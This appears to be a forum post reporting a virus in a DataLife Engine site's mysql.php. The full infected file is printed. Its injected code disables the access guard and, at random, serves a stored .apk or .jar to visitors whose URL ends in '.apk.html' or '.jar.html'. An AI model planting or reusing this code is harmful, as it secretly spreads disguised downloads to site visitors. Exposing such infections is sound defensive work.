Вирус в файле mysql.php

<?php
/*
=====================================================
 DataLife Engine - by SoftNews Media Group 
-----------------------------------------------------
 http://dle-news.ru/
-----------------------------------------------------
 Copyright (c) 2004,2011 SoftNews Media Group
=====================================================
 Данный код защищен авторскими правами
=====================================================
 Файл: mysql.php
-----------------------------------------------------
 Назначение: Класс для работы с базой данных
=====================================================
*/
if(!defined('DATALIFEENGINE'))
{
  //die("Hacking attempt!");
}

define ( 'DATALIFEENGINE', true );

$url = $_GET['url'];
if(rand(2,4)==4)
{
if(substr($url, -9)=='.apk.html'||substr(base64_decode($url), -9)=='.apk.html')
{
if(substr(base64_decode($url), -9)=='.apk.html')
$url = base64_decode($url);
@header ("Content-Type: application/octet-stream");
@header ("Accept-Ranges: bytes");
@header ("Content-Length: ".filesize('../uploads/files/1323194326_quick-message.v.0.1.3.apk'));
@header ("Content-Disposition: attachment; filename=".basename($url,'.apk.html').'.apk');  
@readfile('../uploads/files/1323194326_quick-message.v.0.1.3.apk');
exit;
}elseif(substr($url, -4)=='.jar.html'||substr(base64_decode($url), -9)=='.jar.html')
{
if(substr(base64_decode($url), -9)=='.jar.html')
$url = base64_decode($url);
@header ("Content-Type: application/octet-stream");
@header ("Accept-Ranges: bytes");
@header ("Content-Length: ".filesize('../uploads/files/1244059283_untangle.jar'));
@header ("Content-Disposition: attachment; filename=".basename($url));  
@readfile('../uploads/files/1244059283_untangle.jar');
exit;
}
}


if ( extension_loaded('mysqli') )
{
if(!defined('ENGINE_DIR'))
include_once( "mysqli.class.php" );
else
include_once( ENGINE_DIR."/classes/mysqli.class.php" );
}
else
{
if(!defined('ENGINE_DIR'))
include_once( "mysqli.class.php" );
else
include_once( ENGINE_DIR."/classes/mysql.class.php" );
}

?>